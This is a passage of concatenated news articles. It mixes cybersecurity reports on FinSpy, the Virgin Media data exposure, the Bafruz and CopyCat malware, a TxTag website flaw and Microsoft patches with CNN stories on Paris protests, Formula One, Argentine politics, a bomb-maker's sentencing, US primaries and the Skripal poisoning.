While conducting their research, Kaspersky researchers detected the updated versions of the FinSpy implants used in the wild in almost 20 countries, but "assuming the size of Gamma's customer base; it's likely that the real number of victims is much higher."
Gamma is continuously working on the updates for the FinSpy malware, as researchers have found another version of the threat at the time of publishing their report, and they are currently investigating the sample.
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Story highlights26 arrested in protests Hundreds of demonstrators take to Paris streets (CNN)Hundreds of students on Thursday blockaded the entrances to their schools in Paris, demanding justice for a young black man who was allegedly raped by French police earlier this month.Student protesters barricaded the entryways of at least 16 schools, using trash cans. A dozen more were partially blocked, the Paris Board of Education said. At the Lycée Charlemagne and Lycée Dorian, doorways were papered with signs reading: "No justice, no peace" and "F*** the police." The demonstration is the latest in a string of anti-police protests that have swept Paris, and its northern suburbs, since a 22-year-old black man, known publicly as Théo, was purportedly raped with a police baton during a February 2 arrest. The incident, which took place in an area north of the capital with a large immigrant population, has ignited simmering tensions between minorities and the police.Read More'Revenge for Theo'Protesters rally in Paris' Place de la Nation.A banner reading "Revenge for Théo" was one of many signs carried by students who gathered for a largely peaceful rally in Place de la Nation square.Clashes later broke out with riot police, according to photos and videos shared on social media. Protesters rallying on social media behind the hashtag #BlocusPourThéo (#BlockadeForTheo) posted videos showing fires alight in the streets and police launching tear gas at the crowds. Police confirmed to CNN that 21 people were arrested during the protest in Paris, which drew 800 to 1,000 demonstrators. The metro station at Place de la Nation was shuttered during the unrest. A total of 26 people were arrested in clashes across Paris and its suburbs. The vice principal of one school was hit by a fire extinguisher thrown by a protester, according to the Paris Board of Education, which condemned the violence. "Blockages are not a legitimate way to protest. They endanger staff and students," Gilles Pécout, head of the Paris Board of Education, said in a statement. Weeks of unrestFiremen try to extinguish burning dustbins at Paris protest.Weeks of clashes have broken out since four police officers purportedly threw Théo to the ground, beat him and anally raped him with a baton, leaving him with injuries so severe that he required surgery. The officers were suspended pending an inquiry into accusations that they used excessive force while arresting the young man during an identity check at a housing estate in the northern suburb of Aulnay-sous-Bois.Riot police forces stand guard.All four officers have been charged with aggravated assault, and one was also charged with rape, according to the Interior Ministry.According to the Agence France-Presse news agency, an internal police investigation found that the officer who allegedly sodomized Théo with his baton did so unintentionally. CNN was unable to obtain a copy of the police report.
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On the same day yesterday, when the US-based telecom giant T-Mobile admitted a data breach, the UK-based telecommunication provider Virgin Media announced that it has also suffered a data leak incident exposing the personal information of roughly 900,000 customers.
What happened?
Unlike the T-Mobile data breach that involved a sophisticated cyber attack, Virgin Media said the incident was neither a cyber attack nor the company's database was hacked.
Rather the personal details of around 900,000 Virgin Media UK-based customers were exposed after one of its marketing databases was left unsecured on the Internet and accessible to anyone without requiring any authentication.
"The precise situation is that information stored on one of our databases has been accessed without permission. The incident did not occur due to a hack, but as a result of the database being incorrectly configured," the company said in a note published on its website on Thursday night.
According to the notification, Virgin Media said the exposed database was accidentally left unsecured on the Internet from April 19, 2019—that's almost a year—and was recently accessed by an unauthorized party at least once.
What type of information was accessed?
The exposed database stored the information (listed below) on both customers and potential customers, including "fixed-line customers representing approximately 15% of that customer base," said Virgin Media CEO Lutz Schüler.
customer names,
home addresses,
email addresses,
phone numbers,
technical and product information, which includes any requests people may have made using forms on the company's website, and
dates of birth 'in a very small number of cases.'
"Please note that this is all of the types of information in the database, but not all of this information may have related to every customer," Virgin Media said.
The company assured its customers that the misconfigured marketing database did not include affected customers' account passwords or financial information such as credit cards or bank account numbers.
However, Schüler said the company doesn't know "the extent of the access or if any information was actually used."
Who Discovered the Data Leak?
The unguarded database was first discovered online by researchers at TurgenSec, who then responsibly reported it to the Virgin Media's security team as per the National Cyber Security Centre (NCSC) cybersecurity guidelines.
Though the Virgin Media has surprisingly not publicly acknowledged TurgenSec's findings, the researchers confirmed The Hacker News that the leaked data includes at least 2,324,498 records concerning 900,000 people.
"We cannot speak for the intentions of their communications team but stating to their customers that there was only a breach of "limited contact information" is from our perspective understating the matter potentially to the point of being disingenuous," TurgenSec said in a statement.
According to TurgenSec team, the leaked data also includes affected users':
IP addresses,
Requests to block or unblock various pornographic, gore and gambling websites, corresponding to full names and addresses,
IMEI numbers associated with their stolen phones,
Subscriptions to the different aspects of their services, including premium components,
Device type owned by the user,
The "referrer" header collected from the browsers, exposing which previous site users had visited before accessing Virgin Media.
What is Virgin Media now doing?
The company said the unauthorized access to the database has been shut down immediately following the discovery and that it launched a full independent forensic investigation to determine the extent of the breach incident.
The company is also contacting affected customers of security failure and has already notified the Information Commissioner's Office.
What affected customers should do now?
Affected customers should be suspicious of phishing emails, which are usually the next step of cybercriminals with such data in hands to trick users into giving away further details like their passwords and banking information.
"We urge people to remain cautious before clicking on an unknown link or giving any details to an unverified or unknown party. Online security advice and help on a range of topics are available on our website," Virgin Media said.
Though the compromised data doesn't include any banking or financial data, it is always a good idea to be vigilant and keep a close eye on your bank and payment card statements and report any unusual activity to your respective bank.
For more information regarding the security incident, Virgin Media customers can visit the company's website or call their customer service line on 0345 454 1111.
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There's a new family of malware that's using a complex set of capabilities to disable antimalware and listen in on sessions between users and some social networks. Bafruz is essentially a backdoor trojan that also is creating a peer-to-peer network of infected computers.
Microsoft has announced that its Microsoft Malicious Software Removal Tool has recently been modified to detect two new malware families, Matsnu and Bafruz.
The payload seems to start by terminating a long list of security processes listed in its code. It then displays a fake system alert that looks like that of any standard rogue AV attack.
The device actually restarts in Safe Mode. Here, the malware can disable all the security products more easily, allowing it to perform its other tasks without being interrupted.
"This may lead the user into believing all is well with their security product, while in the meantime, Bafruz is downloading additional components and malware onto the computer in the background through its P2P network," Microsoft.
Microsoft has now added Bafruz to the list of threats detected by its Malicious Software Removal Tool.The update came Tuesday, along with nine patches for 26 security vulnerabilities.
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(CNN)For the first time since the dawn of the Mercedes era -- the team has now won eight consecutive constructors' championships -- there is genuine uncertainty about how the Formula One season will unfold, with the Bahrain Grand Prix on Sunday kicking off the new campaign.A raft of new regulations, the biggest change in the sport since 1983, has prompted every team to drastically redesign its car, while Mercedes was beaten in the drivers' championship last year for the first time since 2014. Last season's dramatic conclusion in Abu Dhabi saw Red Bull's Max Verstappen win his first world championship, pipping seven-time world champion Lewis Hamilton in the final lap. Russia in isolationIn near unison with the rest of the sporting world, F1 moved to sanction Russia following its invasion of Ukraine. The sport's governing body announced that the Russian Grand Prix, originally scheduled for September 23-25, could not be held "in the current circumstances." Read MoreShortly afterward, it terminated its contract with the Russian Grand Prix promoter, "meaning Russia will not have a race in the future," read an F1 statement. The Russian Grand Prix had been due to move from Sochi to the newly renovated Igora Drive circuit in St. Petersburg in 2023.Nikita Mazepin was dropped from Haas F1 Team in the offseason following the invasion of Ukraine by Russia.Haas, meanwhile, terminated the contract of its Russian driver Nikita Mazepin as well as its title sponsor Uralkali, a Russian fertilizer producer part owned by Mazepin's oligarch father, Dmitry. Lewis Hamilton vs. Max Verstappen Hamilton and Verstappen's rivalry shaped F1 in 2021, a season widely acclaimed as one of the greatest ever due to their extraordinarily close title fight. In recent years, Verstappen has emerged as the only driver capable of challenging Hamilton's dominance, and their rivalry will define the contours of this season too.During their season-long duel in 2021, they crashed into each other three times -- at Silverstone, Monza and Saudi Arabia.The denouement was even more dramatic. Arriving at the final Grand Prix of the season, the two drivers were level in the race for the world championship.2021 F1 World Drivers Champion Max Verstappen is congratulated by runner up Lewis Hamilton after the Abu Dhabi Grand Prix. Verstappen secured pole position in qualifying, but Hamilton overtook him as they rounded the first corner and held a commanding lead for much of the race. It seemed the title was decided until a late safety car effectively restarted the race with Verstappen just behind Hamilton on newer, faster tires. Verstappen overtook Hamilton and won his first world championship. The fallout of the controversy still lingers. At 37, Hamilton is approaching the end of his career and will not have many more opportunities to claim the outright record of world championship wins. He currently sits on seven, level with Michael Schumacher, but his motivation does not seem diminished by the controversy in Abu Dhabi."I would say so," Hamilton replied when asked if he was a more dangerous driver than before, in a video uploaded onto Mercedes' Twitter page.Verstappen is at the opposite end of his career and has long been billed as a potential multiple world champion. Last season, the Dutchman's consistency was remarkable as he finished first or second in every race he completed without damage to his car. He is the focal point of the Red Bull team, with whom he will remain until at least 2028. Driver changesThe traditional merry-go-round of drivers swapping seats ended rather late this year as teams sought to fine-tune their rosters ahead of the 2022 season. Alfa Romeo will sport an all-new driver's line up as Zhou Guanyu, the first Chinese F1 driver, joins the team -- the only driver making his F1 debut this season.Zhou Guanyu during the Alfa Romeo F1 Team Orlen filming day on February 27, 2022.Zhou joins Alfa Romeo after finishing third in Formula Two last year and serving as a test driver for both Renault and Alpine."To be the first ever Chinese driver in F1 is a breakthrough for Chinese motorsport history," Zhou told F1. "I know a lot of hopes will be resting on me and, as ever, I will take this as motivation to become better and achieve more."Valtteri Bottas also joins Alfa Romeo, replacing the retired Kimi Raikkonen. His seat at Mercedes has been given to George Russell, after months of speculation, who in turn is replaced by Alexander Albon at Williams.Russell's association with Mercedes stretches back to 2017 when he joined their junior driver program. George Russell looks on from the pit during Day Two of F1 Testing in Bahrain.Following Haas' dismissal of Mazepin, Kevin Magnussen will rejoin his old team on a multi-year deal. Previously, Magnussen drove for Haas from 2017 until the end of the 2020 season.Rule changesNot since 1983 has F1 introduced such sweeping new regulations governing the designs of the cars. These new regulations aim to make overtaking easier by shifting the aerodynamic focus from the wings to underneath the car. The car's design will help to create downforce -- crucial to the performance of F1 cars, allowing the tires to continue gripping the track at extreme speeds -- by controlling the airflow around it. However, the 2021 cars lost much of their downforce when traveling behind another car. This was due to the disrupted airflow that trails behind the lead car, a phenomenon often referred to as 'dirty air.' As such, it can be difficult to overtake -- particularly on corners -- since the driver in front has a natural advantage.By redesigning the cars and shifting the principal site of aerodynamics to underneath the car, F1 hopes to reduce the impact of this 'dirty air' and facilitate overtaking. They estimate that the 2022 cars will only lose 4% of their downforce within three car lengths of the car in front and 18% within one car length. The true effects of these new regulations will only be apparent when the racing begins on Sunday, but during testing, Pierre Gasly and Hamilton provided a preview as they, briefly, drove side-by-side along the track."It was interesting also to follow and just to get some data and feeling following other cars... we kind of overtook each other a couple of times, stayed close to each other -- and it was definitely an improvement, so I think racing should be quite fun this year," Gasly told F1.What happened in testing?Preseason testing assumed added importance this year, due to the new regulations and car designs on display.Red Bull performed well, with their newly crowned world champion Verstappen setting the fastest time by nearly seven-tenths of a second on the final day of preseason testing in Bahrain.Both Ferrari drivers recorded consistently quick laps in Bahrain, suggesting their car's reliability, while Charles Leclerc set the second-fastest lap time behind Verstappen.Ferrari's Leclerc drives during the third day of Formula One preseason testing in Bahrain. Mercedes, meanwhile, unveiled a drastically different car to other teams, featuring much narrower sidepod inlets: a design that could prompt challenges, Mercedes team principal Toto Wolff acknowledged.Despite this, their test runs lagged someway behind Red Bull and Ferrari. Both Russell and Hamilton downplayed their chances in Bahrain, citing the car's continued issues with porpoising -- a phenomenon that occurs when a car reaches its top speed and bounces up and down on its suspension -- during testing."It's definitely bouncing around a lot from within, it's not the comfiest in all honesty," Russell said to F1. "I don't really care about comfort if the performance is there but at the moment the performance isn't there." "We are a step behind our rivals, and we do have a lot of work to do between now and next week to understand because, in every condition, the Red Bull and the Ferrari seem a step ahead of us." Last year, Mercedes' testing was also beset by issues as they completed the fewest laps of any team, but Hamilton still won the opening race in Bahrain. Similarly in 2019, Mercedes looked up to half a second off Ferrari's pace in testing and then finished one-two in the first race of the season.Still, they will need to improve drastically to challenge the preseason performances of both Ferrari and Red Bull, and such improvements may take a couple of races to implement.George Russell drives during the third day of F1 testing in Bahrain.McLaren were another team who underperformed during testing in Bahrain, plagued by braking issues. Behind the top four teams, there was little to separate the midfield in testing, with Haas, AlphaTauri, Alpine, Aston Martin and Alfa Romeo all performing relatively well. Williams struggled on Day 2 of testing in Bahrain with a brake fire but suffered no other major setbacks.'Drive to Survive'Drive to Survive has become almost synonymous with F1 in recent years; the popular documentary series on Netflix has done much to boost the sport's popularity around the world.According to ESPN, average viewing figures for Grands Prix in the US have increased since Drive to Survive was released, rising from about 547,000 in 2018 to 928,000 in 2021.The dramatic, controversial conclusion of last year's championship prompted some, including Lando Norris, to wonder if it had been manufactured for the show's benefit. Speaking to BBC Sport, James Gay-Rees -- the show's producer -- rebuffed these criticisms. "It's just people under enormous pressure making decisions in the moment," he said. "There's no way anybody was thinking: 'Will this play well on Netflix?'"The show has previously been criticized for its tendency to exaggerate interpersonal rivalries and warp timelines.Nonetheless, even if Drive to Survive does not shape the storylines throughout the season, it will shape their public perception. How to watchIn the US, ESPN is set to show every F1 race, practice and qualifying as will F1 TV Pro, the official streaming service of F1, which costs $79.99 per year. Practice for the opening race of the season -- the Bahrain Grand Prix -- begins at 8 a.m. ET on March 18, qualifying will take place on March 19 from 8 a.m. ET and the race is scheduled for March 20 at 11 a.m. ET. ESPN's full schedule for the season is available on their website. A full list of broadcasters worldwide is available on the F1 website.
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Do you know, Why another major company is getting hacked every week? Because of poor policies, Laziness to Incident Response and lack in will-power to put efforts on applying important patches.
Some companies are not taking their security more seriously, and best suitable example for this is TxTag, an electronic toll collection systems in Texas operated by Texas Department of Transportation (TxDOT).
1.2 MILLION CREDIT CARD ARE AT RISK
Security researcher, David Longenecker claimed a serious flaw at TxTag website that exposes the active Credit Card Details and Personal Information of 1.2 Million Drivers including active TxTags (vehicle stickers with microchips, which are scanned by electronic readers on toll roads), Names, phone numbers, full residence addresses, email addresses, along with their complete Credit card numbers and Expiration date.
According to David, the account names could be easily predictable by anyone, which is typically an 8-digit number that begins with the number 2 and protected by only a 4-digit PIN Number, that could be itself another easy x-factor to abuse.
But their stupidity didn't end here, to make the case worst for their users; TxTag.org inexplicably stores the entire credit card details including Credit Card Numbers and expiration date, which meant to be partial visible to users, but available in the plaintext as the value of input field on the page source code.
"I have no indication credit cards have actually been stolen. I merely found and reported a flaw that could very easily be exploited to obtain this information." he said.
NO LESSONS LEARNED FROM PREVIOUS CYBER ATTACK
Texas Department of Transportation had not learned any lesson from their past experiences with hackers. Exactly two years back, they themselves confirmed a "cyber attack" in which the hackers overloaded the TxTag back office accounts servers, but according to TxTag, no accounts were compromised at the time.
In the reply back in 2012, Karen Amacker, TxDOT spokesman said, "Customer service and information security are of paramount importance to TxDOT. Cyberattackers recently tried to get into TxTag.org, but were not successful. All of our customers' information, including credit card information, remains secure."
But this security and so called paramount importance is seems to be a dilemma for them as they did nothing to improve the data security of their users after facing an attack.
FLAW REPORTED, BUT YET NO RESPONSE
The Flaw has been reported by the researcher, but neither TxTag nor TxDOT have so far responded to any of his request for comment.
"The problem lies in the AutoPay Method screen. If you do not have a credit card or bank account stored for automatic payments, then financial data cannot be stolen through this manner." david said.
We should understand that no one is safe when bad hackers are out to do some damage. You are always advised to don't be lazy with your passwords, set tough-to-guess and long passwords and don't store information online that you don't absolutely need to. Stay Tuned, Stay Safe.
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Story highlightsIt's been nearly a month since Argentine President Cristina Fernandez de Kirchner's last appearanceCritics question who's in charge of the South American countryFernandez's aides dismiss concerns, stressing she's the one making government callsFernandez went on medical leave in October so doctors could remove a blood clot from her brain's surfaceArgentine President Cristina Fernandez de Kirchner is no wallflower when it comes to public speaking. She's known for passionate proclamations on national television and rapid-fire online posts about her work.But it's been almost a month since her last public appearance and 33 days since her last Twitter post, prompting critics to question who's in charge of the South American country. Close aides to Fernandez have dismissed such concerns, stressing that she's the one making the government calls."The President is present every day, working with us," Cabinet Secretary Jorge Capitanich told reporters earlier this month, according to the state-run Telam news agency.Fernandez went on medical leave in October so doctors could perform emergency surgery to remove a blood clot on the surface of her brain. She officially returned to work in November and appeared at a series of events in December.But now, with Fernandez largely out of public view once again, speculation has surged about her whereabouts, and her health."If we hadn't had the President's illness just a few months ago, one would discard it. But the problem is the rumor has been established, and the sense of uncertainty of not knowing why," said Orlando D'Adamo, director of the Center of Public Opinion at the University of Belgrano in Buenos Aires. "Is it a political strategy? Is she making room for a new candidate for 2015? Is it because she does not want to face difficult situations for the government? We do not know."Others think Fernandez is taking a break to take care of her health and not face a similar fate as her husband, former President Nestor Kirchner, who died in 2010 after suffering a heart attack."I think she does not want to repeat that story," said Enrique Zuleta, another political analyst.As Argentina has faced high inflation and other challenges in recent weeks, Capitanich was the public face of the government.On the streets of Buenos Aires, residents say they have felt the President's absence."There are many problems that require a solution, and there is no clear response from her," worker Gabriel Blanco said.Merchant Nelida Jorquera said she was worried about the situation."But I think she is a serious person, and she would not deceive the people," she said.
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A newly uncovered malware strain has already infected more than 14 Million Android devices around the world, earning its operators approximately $1.5 Million in fake ad revenues in just two months.
Dubbed CopyCat, the malware has capabilities to root infected devices, establish persistency, and inject malicious code into Zygote – a daemon responsible for launching apps on Android, providing the hackers full access to the devices.
Over 14 Million Devices Infected; 8 Million of them Rooted
According to the security researchers at Check Point who discovered this malware strain, CopyCat malware has infected 14 million devices, rooted nearly 8 million of them, had 3.8 million devices serve ads, and 4.4 million of them were used to steal credit for installing apps on Google Play.
While the majority of victims hit by the CopyCat malware resides in South and Southeast Asia with India being the most affected country, more than 280,000 Android devices in the United States were also infected.
While there's no evidence that the CopyCat malware has been distributed on Google Play, the Check Point researchers believe that millions of victims got infected through third-party app downloads and phishing attacks.
Like Gooligan, CopyCat malware also uses "state-of-the-art technology" to carry out various forms of advertisement fraud.
CopyCat uses several exploits, including CVE-2013-6282 (VROOT), CVE-2015-3636 (PingPongRoot), and CVE-2014-3153 (Towelroot) to hit devices running Android 5.0 and earlier, which are all widely used and very old, with the most recent uncovered 2 years ago.
The success of the campaign clearly indicates that millions of Android users still rely on old, unpatched, unsupported devices.
Here's How CopyCat Infects Android Devices
CopyCat disguises as a popular Android app that users download from third-party stores. Once downloaded, the malware starts collecting data about the infected device and downloads rootkits to help root the victim's smartphone.
After rooting the Android device, the CopyCat malware removes security defenses from the device and injects code into the Zygote app launching process to fraudulently install apps and display ads and generate revenue.
"CopyCat abuses the Zygote process to display fraudulent ads while hiding their origin, making it difficult for users to understand what's causing the ads to pop-up on their screens," Check Point researchers say.
"CopyCat also installs fraudulent apps directly to the device, using a separate module. These activities generate large amounts of profits for the creators of CopyCat, given a large number of devices infected by the malware."
In just two months of time span, the CopyCat malware helped the hackers make more than $1.5 Million in revenue. The majority of profit (over $735,000) came from nearly 4.9 million fake installations on infected devices, which displays up to 100 million ads.
The majority of victims are located in India, Pakistan, Bangladesh, Indonesia, and Myanmar, though over 381,000 devices in Canada and more than 280,000 devices in the U.S. are infected with CopyCat.
CopyCat Malware Spreads Using Chinese Advertising Network
While there's no direct evidence on who is behind the CopyCat malware campaign, researchers at Check Point found below-mentioned connections that indicate hackers might have used Chinese advertising network 'MobiSummer' for the distribution of the malware.
CopyCat malware and MobiSummer operate on the same server
Several lines of CopyCat's code is signed by MobiSummer
CopyCat and MobiSummer use the same remote services
CopyCat did not target Chinese users despite over half of the victims residing in Asia
"It is important to note that while these connections exist, it does not necessarily mean the malware was created by the company, and it is possible the perpetrators behind it used MobiSummer's code and infrastructure without the firm's knowledge" Check Point researchers say.
Android users on older devices are still vulnerable to the CopyCat attack, but only if they are downloading apps from third-party app stores.
In March 2017, Check Point researchers informed Google about the CopyCat campaign, and the tech giant has already updated Play Protect to block the malware.
So, Android users even on older devices are protected through Play Protect, which is updated regularly as malware strains such as CopyCat continue to grow.
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Story highlightsAnis Sardar helped make the roadside bomb that killed Sgt. 1st Class Randy Johnson, 34He was linked to plot through fingerprints found by the FBI on tape used in making bombsLondon (CNN)Fingerprints left on sticky tape used in the making of a bomb led Friday to a life sentence for a London taxi driver for the 2007 murder of a U.S. soldier in Iraq.With the help of that evidence, a UK court ruled that Sgt. 1st Class Randy Johnson, 34, was killed by a roadside explosive device that the defendant, Anis Sardar, helped make.Sardar -- convicted Thursday at London's Woolwich Crown Court -- will serve a minimum sentence of 38 years in prison for the murder. He was also given life, with a minimum term of 25 years, for a second charge of conspiracy to murder, to run concurrently.Sardar was linked to the bomb plot after the 2007 murder following a painstaking investigation involving analysis of the devices in an FBI lab. When anti-terrorist police raided his home in Wembley, in northwest London, in September, they found a bomb-making manual written in Arabic.Read MoreHe originally denied any involvement in making the bombs and insisted he was studying Arabic in Damascus, Syria, when the devices were built.But the bomb that killed Johnson bore the fingerprint of Sardar's accomplice, Sajjad Adnan, whose whereabouts are not known. And eventually Sardar, whose fingerprints were found on tape pulled from two other bombs, admitted helping Adnan make explosive devices in Iraq.Judge: Sardar's defense defied logicThe taxi driver, a University of Westminster dropout, told jurors he was in a "lawless war zone" and only wanted to defend fellow Sunni Muslims against attacks from Shia militia forces. He maintained that the real culprits were former British Prime Minister Tony Blair, former Vice President Dick Cheney and former President George W. Bush.Anis Sardar But the prosecution said Sardar was an expert bomb-maker who planned to slaughter coalition forces with a series of improvised explosive devices planted near Baghdad in 2007.Sentencing Sardar to life in prison, the judge said the defendant's explanations for his actions defied logic and rejected his claim he was acting from humanitarian motives.He also rejected Sardar's argument that the bombs were meant to protect Sunni villages from Shia militia groups.The judge said he believed that the bombs recovered were in the sector that the Americans were patrolling. There was evidence that patrols were engaging with locals to try to gain intelligence on insurgents and that Sardar was aware of U.S. activities in the area, he said.The devices had pressure plates that were designed to be activated by heavy vehicles such as those used by the Americans, Globe added.'Father of the platoon'In the course of the trial, evidence was heard from two Americans who were part of the bomb disposal squad stationed at Camp Liberty, a military base in Baghdad.One said he dealt with 150 improvised explosive devices on his tour and the other with 300. There were between four and six bombs made in a similar way to the one that killed Johnson, he said. They were sturdily made, and the one that killed Johnson packed an explosive punch equivalent to a mortar round.The judge cited a report from Johnson's commanding officer, Maj. Eric Adams, who said he had been "the father of the platoon" and said it was "the saddest irony" that he had been killed. Johnson, who had two children, was posthumously awarded the Purple Heart.CNN's Don Melvin contributed to this report.
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Washington (CNN)In California, Democrats are hopeful they've avoided the potential nightmare of being locked out of winnable House races due to the state's unique primary system that allows the top two candidates of any party to advance.Still, some of those races remained too close to call Wednesday morning, with many more ballots to count. Democrat Gil Cisneros will face Republican Young Kim in California's 39th District, one of several competitive seats in Orange County, a crucial battleground in November's midterm elections, CNN projects. In retiring Rep. Darrell Issa's 49th District, CNN projects that one Democrat will advance -- though it's still a tight three-way race to see which Democrat that will be. Those developments were a relief for Democrats, who spent months trying to winnow their larger-than-ever pools of candidates due to California's "jungle" primary. Read MoreIn two other races -- GOP Rep. Dana Rohrabacher's 48th District and Rep. Jeff Denham's 10th District -- Democrats led for the second spot in the general election, but the races were too close to call. And because California accepts mail-in ballots through the end of this week, as long as they were postmarked by Tuesday, it could take days or even weeks to identify the candidates who advance. Sen. Dianne Feinstein sailed through her primary and will face Senate Majority Leader Kevin de León in the general election. Former San Francisco Mayor Gavin Newsom advanced to the general election in the governor's race and will face Republican John Cox, who had the backing of President Donald Trump. Here are six other takeaways from the most important night yet on 2018's political calendar: Another big night for female candidatesFollowing a trend that's been clear throughout 2018's primaries, Tuesday was another big night for female candidates, some of whom took steps toward breaking their states' gender barriers. In California, Young Kim -- the first Korean-American Republican woman to become a state lawmaker there -- advanced to the general election in retiring GOP Rep. Ed Royce's 39th District. If she wins in November, she would be the first Korean-American woman in Congress. In South Dakota, Republican Rep. Kristi Noem won the primary and is now likely to become the state's first female governor. In Iowa, Democrats Cindy Axne and Abby Finkenauer could become the state's first female House members. And in New Mexico, Democrat Deb Haaland's win puts her on track to become the nation's first Native American congresswoman. Montana's battle of the flat-topsMontana Democratic Sen. Jon Tester now has his Republican challenger, according to a CNN projection: state auditor Matt Rosendale. Rosendale's win means the two best flat-top haircuts in politics will face each other in a state where Trump won big in 2016 and where he has made Tester a frequent target. It was a long way down to Rosendale for Republicans. Initially, Ryan Zinke -- a former congressman who is now Trump's interior secretary -- was national GOP leaders' preference for the seat. Their second choice, attorney general Tim Fox, also passed. That made Rosendale the establishment preference. Tester's brand has withstood close races before, and Gov. Steve Bullock showed in 2016 that Democrats can win in Montana in the Trump era. But this race will be among Republicans' top targets in November. Has Bernie's power in Iowa peaked?Vermont Sen. Bernie Sanders pushed Hillary Clinton to the limit during the Iowa caucus in 2016, a second-place finish that helped launch his upstart presidential run.Sanders seems likely to run again in 2020 and is now confronted with a critical question: Is the 2016 magic still there?If Pete D'Alessandro's showing in Iowa's Third Congressional district provides any clues, that answer is no.D'Alessandro, Sanders' top aide in Iowa during the 2016 caucus, finished a distant third to Eddie Mauro, a former teacher, and Cindy Axne, a former state government official on Tuesday night, according to CNN's projection.Sanders, who is cautious with his endorsements, went above and beyond for D'Alessandro. He backed his former aide in January, traveled to Des Moines for a rally in February and wielded the power of his sizeable email list to raise money for D'Alessandro.The email boosted D'Alessandro's fundraising, but did little to help him catch up to Mauro and Axne, who both significantly outraised the former Sanders Iowa aide.Roby faces GOP wrath for opposing TrumpAlabama Rep. Martha Roby is headed to a Republican runoff to save her seat after failing to top 50% in Tuesday's primary. Roby, whose criticism of Trump over the "Access Hollywood" tape in 2016 earned her a primary challenge, will face Bobby Bright -- a former Democratic congressman who is now running as a Republican -- in the head-to-head matchup on July 17. Roby fell short of 50% in part because she is paying a political price in deep-red Alabama for saying in 2016 that she would not vote for Trump. "I cannot look my children in the eye and justify a vote for a man who promotes and boasts about sexually assaulting women," she said at the time. If Roby were to lose the runoff, she would be the second House Republican defeated in a 2018 primary. Rep. Robert Pittenger of North Carolina lost to former pastor Mark Harris in May. Smooth sailing for New Jersey DemocratsTwo hotbeds of competitive House races held their primaries Tuesday. And while California had Democrats sweating, New Jersey went exactly according to plan. Every candidate backed by the Democratic Congressional Campaign Committee and preferred by the party establishment claimed victory. In GOP Rep. Leonard Lance's district, former assistant secretary of state Tom Malinowski held off a progressive opponent. In retiring Republican Rep. Rodney Frelinghuysen's district, former Navy pilot Mikie Sherrill -- one of the strongest Democratic recruits of the 2018 cycle -- cruised. And in retiring GOP Rep. Frank LoBiondo's district, state Sen. Jeff Van Drew -- whose conservative positions made him a target of progressives -- coasted. The Democrat who faced a surprisingly close race Tuesday was Sen. Bob Menendez. Now free of corruption charges, Menendez' underfunded and unknown challenger Lisa McCormick put up a surprisingly strong showing. It was a clear sign that a strong challenger might have been able to unseat Menendez. Democrats hope anti-Trump fervor is brewing in MissouriDemocrats, in response to Trump's presidency, have flipped a sizeable 42 state legislative seats since the President took office in January 2017, the latest of which came in Missouri on Tuesday night.Democrat Lauren Arthur, a state representative, led Republican Kevin Corlew, also a state representative, by close to 20% with all precincts reporting. The swing is significant given the district in suburban Kansas City backed both Trump in 2016 and Mitt Romney in 2012. Additionally, the Republican who stepped down from the seat earlier this year won reelection in 2016 by over 20 percentage points.Why does this small seat in Missouri matter nationally? Democratic operatives hope the swing previews a strong showing in November, where voters are prepared to rebuke the President.But there are also statewide implications at play, too. Tuesday's special election was the first time voters have gone to the polls in Missouri since Republican Gov. Eric Greitens resigned in disgrace amid a series of scandals. The fact that voters rebuked the Republican in this race could be a bad sign for Missouri Attorney General Josh Hawley, who is seeking to oust vulnerable Democratic Sen. Claire McCaskill in November.This story has been updated to reflect election results.
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This coming Tuesday, Microsoft will issue fixes for 33 vulnerabilities in total, including two critical zero-day flaws relating to Internet Explorer recently discovered that has been used to attack several high-profile targets.
Internet Explorer 6, 7, 8, 9 and 10 are the recipients of a patch that can prevent an exploit that enables remote code execution in the browser. This affects all Windows operating systems except XP.
The vulnerability (CVE-2013-1347) had previously been addressed in a workaround yesterday, but given the way it was being exploited with attacks reported on the US Department of Labor and European aerospace and nuclear researchers the patch has been prioritised.
A second bulletin deals with another IE vulnerability believed to be one disclosed in March at the annual Pwn2Own hacking competition. At least four of the patches require a restart, Microsoft said.
The remaining eight patches will address flaws that range from denial-of-service errors that can cause Windows to crash, to remote code execution issues in Microsoft Office and Lync.
Also An elevation of privileges that would allow an attacker to gain additional rights to the affected system, and information disclosure issues relating to Windows Essentials 2011 and 2012 will be addressed.
The security fixes will be released on May 14 through the usual update channels, such as Windows and Microsoft Update.
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(CNN)Britain's home secretary and government ministers held an emergency meeting Saturday as investigators probe the attempt to kill a former Russian double agent and his daughter using a rare nerve agent.Some 180 military personnel have been deployed to the normally quiet cathedral city of Salisbury in southern England to help police as they investigate several sites amid concerns over potential contamination. Former Russian spy Sergei Skripal, 66, and his daughter, Yulia, 33, remain hospitalized in "very serious condition" after being poisoned this week in Salisbury, Home Secretary Amber Rudd said as she visited the city Friday. The father and daughter -- believed by authorities to have been deliberately targeted -- were found slumped on a bench near a shopping center on Sunday afternoon.Former Russian double agent Sergei Skripal and daughter Yulia remain hospitalized after the attack.As part of what's called a Cobra meeting, Rudd brought together senior Cabinet ministers Saturday to hear the latest updates on the situation, Downing Street said.Read MoreFollowing the meeting, Rudd said UK police had identified more than 200 witnesses and 240 pieces of evidence in the attempted killing. "I want to stress that they are proceeding with speed and professionalism," Rudd said in a statement broadcast by ITN. "We are putting in enormous resources to ensure that they have all the support that they need to do that."Detective Sgt. Nick Bailey, a police officer who also fell ill, is in serious condition but is "conversing and engaging" with visitors, Rudd said earlier. Authorities said 21 people received medical attention in the aftermath of the attack, but only three people were still being treated Friday.In a statement Saturday, Wiltshire police, the local force, said Bailey wished to express his thanks to the public for its support."Nick would like us to say on his behalf that he and his family are hugely grateful for all the messages of support from the public, and colleagues from the police family," the police department said. "People have been so kind and he has expressed that he will never forget that kindness."In Salisbury, grist for conspiracy theorists, and an elusive truthPolice have said they know what nerve agent used in the attack but have declined to name it or how they suspect it was administered.Identifying the source of the nerve agent continues to be central to the probe, but Rudd has so far declined to name any potential culprits."We will have to wait until we're absolutely clear what the consequences could be, and what the actual source of this nerve agent has been," Rudd said in Salisbury. "At the moment, our priority is going to be the incident, which is why I'm here."Sites that have been cordoned off include the city center bench where the two were found, a pub and restaurant they had visited earlier, Skripal's home, the graves of his wife, Lyudmila, and son, Alexander, and an industrial car park.Investigators in hazmat suits returned Saturday to the cemetery, where authorities have erected a tent near the grave of Skripal's wife. Entrances to the cemetery were closed off.Counterterrorism police requested the deployment of military personnel to help "remove a number of vehicles and objects" in Salisbury, London's Metropolitan Police said.The grave of Alexander Skripal, the 